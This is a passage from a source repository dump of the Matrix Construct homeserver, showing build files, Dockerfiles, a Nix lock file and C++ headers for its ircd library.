-C $@ 15 | 16 | mrproper-local: 17 | rm -f aclocal.m4 18 | rm -rf autom4te.cache 19 | rm -f compile 20 | rm -f config.* 21 | rm -f configure 22 | rm -f depcomp 23 | rm -f ltmain.sh 24 | rm -f install-sh 25 | rm -f libtool 26 | rm -f missing 27 | rm -f */Makefile 28 | rm -f */Makefile.in 29 | rm -f include/*/Makefile 30 | rm -f include/*/Makefile.in 31 | rm -rf */.deps 32 | rm -f Makefile 33 | rm -f Makefile.in 34 | rm -f tools/m4/argz.m4 35 | rm -f tools/m4/libtool.m4 36 | rm -f tools/m4/ltargz.m4 37 | rm -f tools/m4/ltoptions.m4 38 | rm -f tools/m4/ltsugar.m4 39 | rm -f tools/m4/ltversion.m4 40 | rm -f tools/m4/lt~obsolete.m4 41 | -------------------------------------------------------------------------------- /NEWS.md: -------------------------------------------------------------------------------- 1 | # News 2 | 3 | This is The Matrix Construct - Copyright (C) 2017 Construct Developers 4 | See LICENSE for licensing details (BSD). 5 | 6 | ## Construct 0.0 7 | -------------------------------------------------------------------------------- /construct/.gitignore: -------------------------------------------------------------------------------- 1 | construct 2 | -------------------------------------------------------------------------------- /construct/Makefile.am: -------------------------------------------------------------------------------- 1 | AUTOMAKE_OPTIONS = foreign 2 | 3 | prefix = @prefix@ 4 | 5 | CXXFLAGS += \ 6 | $(EXTRA_CXXFLAGS) \ 7 | ### 8 | 9 | AM_CXXFLAGS = \ 10 | -ftls-model=initial-exec \ 11 | ### 12 | 13 | AM_CPPFLAGS = \ 14 | -I$(top_srcdir)/include \ 15 | @BOOST_CPPFLAGS@ \ 16 | @SSL_CPPFLAGS@ \ 17 | @CRYPTO_CPPFLAGS@ \ 18 | @URING_CPPFLAGS@ \ 19 | $(EXTRA_CPPFLAGS) \ 20 | ### 21 | 22 | AM_LDFLAGS = \ 23 | -dlopen self \ 24 | -Wl,--warn-execstack \ 25 | -Wl,--warn-common \ 26 | -Wl,--detect-odr-violations \ 27 | -Wl,--unresolved-symbols=report-all \ 28 | -Wl,--allow-shlib-undefined \ 29 | -Wl,--dynamic-list-data \ 30 | -Wl,--dynamic-list-cpp-new\ 31 | -Wl,--dynamic-list-cpp-typeinfo \ 32 | -Wl,--rosegment \ 33 | -Wl,-z,noexecstack \ 34 | -Wl,--wrap=epoll_wait \ 35 | -Wl,--wrap=io_uring_queue_init \ 36 | -L$(top_srcdir)/ircd \ 37 | -L$(top_srcdir)/modules \ 38 | $(PLATFORM_LDFLAGS) \ 39 | $(EXTRA_LDFLAGS) \ 40 | ### 41 | 42 | bin_PROGRAMS = construct 43 | 44 | construct_LDFLAGS = \ 45 | $(AM_LDFLAGS) \ 46 | @BOOST_LDFLAGS@ \ 47 | @SSL_LDFLAGS@ \ 48 | @CRYPTO_LDFLAGS@ \ 49 | @URING_LDFLAGS@ \ 50 | ### 51 | 52 | construct_LDADD = \ 53 | -lircd \ 54 | @BOOST_LIBS@ \ 55 | @SSL_LIBS@ \ 56 | @CRYPTO_LIBS@ \ 57 | @URING_LIBS@ \ 58 | $(EXTRA_LIBS) \ 59 | ### 60 | 61 | construct_SOURCES = \ 62 | construct.cc \ 63 | homeserver.cc \ 64 | signals.cc \ 65 | console.cc \ 66 | lgetopt.cc \ 67 | ### 68 | -------------------------------------------------------------------------------- /construct/construct.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | namespace construct 12 | { 13 | struct signals; 14 | struct console; 15 | struct homeserver; 16 | 17 | extern struct console *console; 18 | } 19 | -------------------------------------------------------------------------------- /construct/homeserver.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | struct construct::homeserver 12 | { 13 | using init_proto = ircd::m::homeserver *(const struct ircd::m::homeserver::opts *); 14 | using fini_proto = void (ircd::m::homeserver *); 15 | 16 | struct ircd::m::homeserver::opts opts; 17 | std::string module_path[1]; 18 | ircd::module module[1]; 19 | ircd::mods::import init; 20 | ircd::mods::import fini; 21 | ircd::custom_ptr hs; 22 | 23 | public: 24 | homeserver(struct ircd::m::homeserver::opts); 25 | ~homeserver() noexcept; 26 | 27 | static homeserver *primary; 28 | }; 29 | -------------------------------------------------------------------------------- /construct/signals.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | struct construct::signals 12 | { 13 | std::unique_ptr signal_set; 14 | ircd::run::changed runlevel_changed; 15 | 16 | void set_handle(); 17 | void on_signal(const boost::system::error_code &, int) noexcept; 18 | void on_runlevel(const enum ircd::run::level &); 19 | 20 | public: 21 | signals(boost::asio::io_context &ios); 22 | ~signals() noexcept; 23 | }; 24 | -------------------------------------------------------------------------------- /docker/alpine/base/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG dist_name alpine 2 | ARG dist_version 3.16 3 | 4 | FROM --platform=$TARGETPLATFORM ${dist_name}:${dist_version} 5 | 6 | ENV packages="\ 7 | boost-chrono \ 8 | boost-context \ 9 | boost-coroutine \ 10 | boost-system \ 11 | boost-thread \ 12 | ca-certificates \ 13 | icu \ 14 | libatomic \ 15 | libmagic \ 16 | libsodium \ 17 | libstdc++ \ 18 | lz4 \ 19 | openssl \ 20 | rocksdb \ 21 | zstd \ 22 | " 23 | 24 | ENV packages_dev="\ 25 | boost-dev \ 26 | file-dev \ 27 | icu-dev \ 28 | libsodium-dev \ 29 | lz4-dev \ 30 | openssl-dev \ 31 | rocksdb-dev \ 32 | zstd-dev \ 33 | " 34 | 35 | RUN true \ 36 | && apk add --no-cache ${packages} \ 37 | && true 38 | -------------------------------------------------------------------------------- /docker/alpine/full/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG acct 2 | ARG repo 3 | ARG dist_name 4 | ARG dist_version 5 | ARG machine 6 | 7 | FROM ${acct}/${repo}:${dist_name}-${dist_version}-base-${machine} 8 | 9 | ENV packages="\ 10 | freetype \ 11 | graphicsmagick \ 12 | libpng \ 13 | " 14 | 15 | ENV packages_dev="\ 16 | ${packages_dev} \ 17 | freetype-dev \ 18 | graphicsmagick-dev \ 19 | libpng-dev \ 20 | " 21 | 22 | RUN true \ 23 | && apk add --no-cache ${packages} \ 24 | && true 25 | -------------------------------------------------------------------------------- /docker/alpine/test/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG acct 2 | ARG repo 3 | ARG dist_name 4 | ARG dist_version 5 | ARG feature 6 | ARG cc 7 | ARG machine 8 | 9 | FROM ${acct}/${repo}:${dist_name}-${dist_version}-${feature}-built-${cc}-${machine} 10 | 11 | ENV ircd_mods_unload_check=false 12 | WORKDIR /root 13 | RUN true \ 14 | && construct -debug -smoketest localhost \ 15 | && true 16 | -------------------------------------------------------------------------------- /docker/ubuntu/built/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG acct 2 | ARG repo 3 | ARG dist_name 4 | ARG dist_version 5 | ARG feature 6 | ARG machine 7 | 8 | FROM ${acct}/${repo}:${dist_name}-${dist_version}-${feature}-${machine} 9 | 10 | ARG cc 11 | ARG cxx 12 | ARG extra_packages_dev 13 | ARG ctor_url https://github.com/matrix-construct/construct 14 | ARG machine_spec 15 | ARG nprocs 16 | 17 | ENV CC ${cc} 18 | ENV CXX ${cxx} 19 | ENV ctor_url ${ctor_url} 20 | ENV machine_spec ${machine_spec} 21 | ENV nprocs ${nprocs} 22 | 23 | ENV packages_dev="\ 24 | ${packages_dev} \ 25 | autoconf \ 26 | autoconf-archive \ 27 | autoconf2.13 \ 28 | automake \ 29 | autotools-dev \ 30 | git \ 31 | libtool \ 32 | shtool \ 33 | ${extra_packages_dev} \ 34 | " 35 | 36 | RUN true \ 37 | && eval ${do_install} ${packages_dev} \ 38 | && eval ${do_fetch_rocksdb} \ 39 | && git clone ${ctor_url} construct \ 40 | && cd construct \ 41 | && rmdir -v deps/rocksdb \ 42 | && ln -sv /usr/src/rocksdb deps \ 43 | && ./autogen.sh \ 44 | && (./configure --enable-generic --with-machine="${machine_spec}" || (cat config.log; exit 1)) \ 45 | && make -j ${nprocs} \ 46 | && make install \ 47 | && cd .. \ 48 | && rm -rf construct \ 49 | && rm -rf /usr/src/rocksdb \ 50 | && eval ${do_purge} ${packages_dev} \ 51 | && eval ${do_clean} \ 52 | && true 53 | -------------------------------------------------------------------------------- /docker/ubuntu/full/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG acct 2 | ARG repo 3 | ARG dist_name 4 | ARG dist_version 5 | ARG machine 6 | 7 | FROM ${acct}/${repo}:${dist_name}-${dist_version}-base-${machine} 8 | 9 | ARG extra_packages 10 | 11 | ENV packages="\ 12 | libgraphicsmagick-q16-3 \ 13 | libpng16-16 \ 14 | ${extra_packages} \ 15 | " 16 | 17 | ENV packages_dev="\ 18 | ${packages_dev} \ 19 | libgraphicsmagick1-dev \ 20 | libpng-dev \ 21 | xxd \ 22 | " 23 | 24 | RUN true \ 25 | && eval ${do_install} ${packages} \ 26 | && eval ${do_clean} \ 27 | && true 28 | -------------------------------------------------------------------------------- /docker/ubuntu/test/Dockerfile: -------------------------------------------------------------------------------- 1 | ARG acct 2 | ARG repo 3 | ARG dist_name 4 | ARG dist_version 5 | ARG feature 6 | ARG cc 7 | ARG machine 8 | 9 | FROM ${acct}/${repo}:${dist_name}-${dist_version}-${feature}-built-${cc}-${machine} 10 | 11 | WORKDIR /root 12 | RUN true \ 13 | && construct -debug -smoketest localhost \ 14 | && true 15 | -------------------------------------------------------------------------------- /flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "nixpkgs": { 4 | "info": { 5 | "lastModified": 1589389290, 6 | "narHash": "sha256-K5etYl0wKAPvU/B9LliwIgH/m/hYo1WyVlEIhLm8cV0=" 7 | }, 8 | "locked": { 9 | "owner": "NixOS", 10 | "repo": "nixpkgs", 11 | "rev": "d5ba826821ae7d895c6385ea99af73c7052e2e79", 12 | "type": "github" 13 | }, 14 | "original": { 15 | "id": "nixpkgs", 16 | "type": "indirect" 17 | } 18 | }, 19 | "root": { 20 | "inputs": { 21 | "nixpkgs": "nixpkgs" 22 | } 23 | } 24 | }, 25 | "root": "root", 26 | "version": 5 27 | } 28 | -------------------------------------------------------------------------------- /include/ircd/.gitignore: -------------------------------------------------------------------------------- 1 | setup.h* 2 | serno.h 3 | *.pic.h 4 | config.h 5 | config.h.in 6 | *.gch.tmp 7 | -------------------------------------------------------------------------------- /include/ircd/allocator/scope.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2023 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_ALLOCATOR_SCOPE_H 13 | 14 | namespace ircd::allocator 15 | { 16 | struct scope; 17 | } 18 | 19 | struct ircd::allocator::scope 20 | { 21 | using alloc_closure = std::function; 22 | using realloc_closure = std::function; 23 | using free_closure = std::function; 24 | 25 | static void hook_init() noexcept; 26 | static void hook_fini() noexcept; 27 | 28 | static scope *current; 29 | scope *theirs; 30 | alloc_closure user_alloc; 31 | realloc_closure user_realloc; 32 | free_closure user_free; 33 | 34 | public: 35 | scope(alloc_closure = {}, realloc_closure = {}, free_closure = {}); 36 | scope(const scope &) = delete; 37 | scope(scope &&) = delete; 38 | ~scope() noexcept; 39 | }; 40 | -------------------------------------------------------------------------------- /include/ircd/backtrace.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_BACKTRACE_H 13 | 14 | namespace ircd 15 | { 16 | struct backtrace; 17 | } 18 | 19 | struct ircd::backtrace 20 | { 21 | const void **array; 22 | size_t count; 23 | 24 | public: 25 | const void *operator[](const size_t &) const; 26 | const size_t &size() const; 27 | 28 | backtrace(const void **const &, const size_t &); 29 | template backtrace(const void *(&)[SIZE]); 30 | backtrace(const mutable_buffer &); 31 | backtrace(); 32 | }; 33 | 34 | template 35 | ircd::backtrace::backtrace(const void *(&buf)[SIZE]) 36 | :backtrace{buf, SIZE} 37 | {} 38 | 39 | inline const void * 40 | ircd::backtrace::operator[](const size_t &i) 41 | const 42 | { 43 | return i < count? array[i] : nullptr; 44 | } 45 | 46 | inline const size_t & 47 | ircd::backtrace::size() 48 | const 49 | { 50 | return count; 51 | } 52 | -------------------------------------------------------------------------------- /include/ircd/beep.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_BEEP_H 13 | 14 | /// pcspkr-event-spkr 15 | namespace ircd 16 | { 17 | struct beep; 18 | } 19 | 20 | /// Transmits audible tone through the pcspkr for the object's duration. The 21 | /// tone starts at construction and continues until terminated by destruction. 22 | /// 23 | class ircd::beep 24 | { 25 | struct ctrl; 26 | 27 | static const fs::fd::opts fd_opts; 28 | static ctx::mutex mutex; 29 | static conf::item path; 30 | static conf::item debug; 31 | 32 | std::unique_lock lock; 33 | fs::fd fd; 34 | 35 | public: 36 | beep(const float tone = 2600.0f); 37 | beep(beep &&) noexcept; 38 | beep(const beep &) = delete; 39 | beep &operator=(beep &&) noexcept; 40 | beep &operator=(const beep &) = delete; 41 | ~beep() noexcept; 42 | 43 | static bool available() noexcept; 44 | static bool busy() noexcept; 45 | }; 46 | -------------------------------------------------------------------------------- /include/ircd/cl/init.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_CL_INIT_H 13 | 14 | /// OpenCL Interface 15 | namespace ircd::cl 16 | { 17 | struct init; 18 | 19 | void log_dev_info(const uint platform_id, const uint device_id); 20 | void log_dev_info(const uint platform_id); 21 | void log_dev_info(); 22 | 23 | void log_platform_info(const uint platform_id); 24 | void log_platform_info(); 25 | } 26 | 27 | class [[gnu::visibility("hidden")]] 28 | ircd::cl::init 29 | { 30 | size_t init_platforms(); 31 | size_t init_devices(); 32 | size_t init_ctxs(); 33 | bool init_libs(); 34 | void fini_ctxs(); 35 | void fini_libs(); 36 | 37 | public: 38 | init(), ~init() noexcept; 39 | }; 40 | 41 | #if IRCD_USE_OPENCL == 0 42 | inline ircd::cl::init::init() {} 43 | inline ircd::cl::init::~init() noexcept {} 44 | #endif 45 | -------------------------------------------------------------------------------- /include/ircd/ctx/sleep.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_CTX_SLEEP_H 13 | 14 | namespace ircd::ctx { inline namespace this_ctx 15 | { 16 | // Ignores notes. Throws if interrupted. 17 | void sleep_until(const system_point &tp); 18 | template void sleep(const duration &); 19 | void sleep(const int &secs); 20 | }} 21 | 22 | /// This overload matches ::sleep() and acts as a drop-in for ircd contexts. 23 | /// interruption point. 24 | inline void 25 | ircd::ctx::this_ctx::sleep(const int &secs) 26 | { 27 | sleep(seconds(secs)); 28 | } 29 | 30 | /// Yield the context for a period of time and ignore notifications. sleep() 31 | /// is like wait() but it only returns after the timeout and not because of a 32 | /// note. 33 | /// interruption point. 34 | template 35 | void 36 | ircd::ctx::this_ctx::sleep(const duration &d) 37 | { 38 | sleep_until(system_clock::now() + d); 39 | } 40 | -------------------------------------------------------------------------------- /include/ircd/ctx/unlock_guard.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_CTX_UNLOCK_GUARD_H 13 | 14 | namespace ircd::ctx 15 | { 16 | template struct unlock_guard; 17 | } 18 | 19 | /// Inverse of std::lock_guard<> 20 | template 21 | struct ircd::ctx::unlock_guard 22 | { 23 | lockable &l; 24 | 25 | unlock_guard(lockable &l); 26 | unlock_guard(unlock_guard &&) = delete; 27 | unlock_guard(const unlock_guard &) = delete; 28 | ~unlock_guard() noexcept; 29 | }; 30 | 31 | namespace ircd 32 | { 33 | using ctx::unlock_guard; 34 | } 35 | 36 | template 37 | ircd::ctx::unlock_guard::unlock_guard(lockable &l) 38 | :l{l} 39 | { 40 | l.unlock(); 41 | } 42 | 43 | template 44 | ircd::ctx::unlock_guard::~unlock_guard() 45 | noexcept 46 | { 47 | l.lock(); 48 | } 49 | -------------------------------------------------------------------------------- /include/ircd/db/merge.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_DB_MERGE_H 13 | 14 | namespace ircd::db 15 | { 16 | using merge_delta = std::pair; 17 | using merge_closure = std::function; 18 | using update_closure = std::function; 19 | 20 | std::string merge_operator(const string_view &, const std::pair &); 21 | } 22 | -------------------------------------------------------------------------------- /include/ircd/db/pos.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_DB_POS_H 13 | 14 | namespace ircd::db 15 | { 16 | enum class pos :int8_t; 17 | 18 | string_view reflect(const pos &); 19 | } 20 | 21 | /// Types of iterator operations 22 | enum class ircd::db::pos 23 | :int8_t 24 | { 25 | FRONT = -2, // .front() | first element 26 | PREV = -1, // std::prev() | previous element 27 | END = 0, // break; | exit iteration (or past the end) 28 | NEXT = 1, // continue; | next element 29 | BACK = 2, // .back() | last element 30 | }; 31 | -------------------------------------------------------------------------------- /include/ircd/db/prefix_transform.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_DB_PREFIX_TRANSFORM_H 13 | 14 | namespace ircd::db 15 | { 16 | struct prefix_transform; 17 | } 18 | 19 | struct ircd::db::prefix_transform 20 | { 21 | std::string name; 22 | std::function has; 23 | std::function get; 24 | }; 25 | -------------------------------------------------------------------------------- /include/ircd/db/wal.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_DB_DATABASE_WAL_H 13 | 14 | struct ircd::db::database::wal 15 | { 16 | struct info; 17 | }; 18 | 19 | /// Get info about a WAL file 20 | /// 21 | struct ircd::db::database::wal::info 22 | { 23 | struct vector; 24 | 25 | std::string name; 26 | uint64_t number {0}; 27 | uint64_t seq {0}; 28 | size_t size {0}; 29 | bool alive {false}; 30 | 31 | info(const database &, const string_view &filename); 32 | info() = default; 33 | 34 | info &operator=(const rocksdb::LogFile &); 35 | }; 36 | 37 | struct ircd::db::database::wal::info::vector 38 | :std::vector 39 | { 40 | vector() = default; 41 | explicit vector(const database &); 42 | }; 43 | -------------------------------------------------------------------------------- /include/ircd/demangle.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_DEMANGLE_H 13 | 14 | namespace ircd 15 | { 16 | IRCD_EXCEPTION(ircd::error, demangle_error) 17 | IRCD_EXCEPTION(demangle_error, not_mangled) 18 | 19 | string_view demangle(const mutable_buffer &out, const char *const &symbol); 20 | string_view demangle(const mutable_buffer &out, const string_view &symbol); 21 | std::string demangle(const string_view &symbol); 22 | std::string demangle(const char *const &symbol); 23 | template string_view demangle(const mutable_buffer &out); 24 | template std::string demangle(); 25 | } 26 | 27 | template 28 | std::string 29 | ircd::demangle() 30 | { 31 | return demangle(typeid(T).name()); 32 | } 33 | 34 | template 35 | ircd::string_view 36 | ircd::demangle(const mutable_buffer &out) 37 | { 38 | return demangle(out, typeid(T).name()); 39 | } 40 | -------------------------------------------------------------------------------- /include/ircd/fs/README.md: -------------------------------------------------------------------------------- 1 | ## Local Filesystem Interface 2 | -------------------------------------------------------------------------------- /include/ircd/fs/op.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_FS_OP_H 13 | 14 | namespace ircd::fs 15 | { 16 | enum class op :uint8_t; 17 | 18 | string_view reflect(const op &); 19 | } 20 | 21 | namespace ircd::fs::aio 22 | { 23 | op translate(const int &); 24 | } 25 | 26 | namespace ircd::fs::iou 27 | { 28 | op translate(const int &); 29 | } 30 | 31 | /// The enumerated operation code to identify the type of request being 32 | /// made at runtime from any abstract list of requests. 33 | /// 34 | enum class ircd::fs::op 35 | :uint8_t 36 | { 37 | NOOP = 0, 38 | READ = 1, 39 | WRITE = 2, 40 | SYNC = 3, 41 | WAIT = 4, 42 | }; 43 | -------------------------------------------------------------------------------- /include/ircd/fs/select.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_FS_SELECT_H 13 | 14 | namespace ircd::fs 15 | { 16 | /// Yield ircd::ctx until one of the fd's becomes ready 17 | /// 18 | size_t select(const vector_view &); // read 19 | } 20 | -------------------------------------------------------------------------------- /include/ircd/fs/stdin.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_FS_STDIN_H 13 | 14 | namespace ircd::fs::stdin 15 | { 16 | struct tty; 17 | 18 | // Yields ircd::ctx to read line from stdin 19 | string_view readline(const mutable_buffer &); 20 | } 21 | 22 | /// Directly represents the controlling tty of stdin if supported. The primary 23 | /// purpose here is to allow writing text to stdin to provide readline-esque 24 | /// history to the terminal console. 25 | /// 26 | /// The member write() must be used, not fs::write(). The latter will throw 27 | /// an error when used on this. 28 | /// 29 | struct ircd::fs::stdin::tty 30 | :fd 31 | { 32 | size_t write(const string_view &); 33 | 34 | tty(); 35 | }; 36 | -------------------------------------------------------------------------------- /include/ircd/fs/sync.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_FS_SYNC_H 13 | 14 | namespace ircd::fs 15 | { 16 | struct sync_opts extern const sync_opts_default; 17 | 18 | void flush(const fd &, const off_t &, const size_t &, const sync_opts & = sync_opts_default); 19 | void flush(const fd &, const sync_opts & = sync_opts_default); 20 | 21 | void sync(const fd &, const off_t &, const size_t &, const sync_opts & = sync_opts_default); 22 | void sync(const fd &, const sync_opts & = sync_opts_default); 23 | } 24 | 25 | /// Options for a write operation 26 | struct ircd::fs::sync_opts 27 | :opts 28 | { 29 | /// Set to true to flush metadata; otherwise only data is flushed. 30 | /// This ends up forcing the use of fsync() rather than fdatasync() or 31 | /// sync_file_range() et al. 32 | bool metadata {true}; 33 | 34 | sync_opts(const off_t &offset = 0); 35 | }; 36 | 37 | inline 38 | ircd::fs::sync_opts::sync_opts(const off_t &offset) 39 | :opts{offset, op::SYNC} 40 | {} 41 | -------------------------------------------------------------------------------- /include/ircd/fs/wait.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_FS_WAIT_H 13 | 14 | namespace ircd::fs 15 | { 16 | enum class ready :uint8_t; 17 | struct wait_opts extern const wait_opts_default; 18 | 19 | string_view reflect(const ready &); 20 | 21 | void wait(const fd &, const wait_opts &); 22 | } 23 | 24 | enum class ircd::fs::ready 25 | :uint8_t 26 | { 27 | ANY, ///< Wait for anything. 28 | READ, ///< Ready for read(). 29 | WRITE, ///< Ready for write(). 30 | ERROR, ///< Has error. 31 | }; 32 | 33 | /// Options for a write operation 34 | struct ircd::fs::wait_opts 35 | :opts 36 | { 37 | enum ready ready; 38 | 39 | wait_opts(const enum ready &ready = ready::ANY); 40 | }; 41 | 42 | inline 43 | ircd::fs::wait_opts::wait_opts(const enum ready &ready) 44 | :opts{0, op::WAIT} 45 | ,ready{ready} 46 | {} 47 | -------------------------------------------------------------------------------- /include/ircd/gpt/epoch.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_GPT_EPOCH_H 13 | 14 | /// Perform one task epoch on the device. 15 | /// 16 | struct ircd::gpt::epoch 17 | { 18 | gpt::task &task; 19 | pipe::desc &desc; 20 | 21 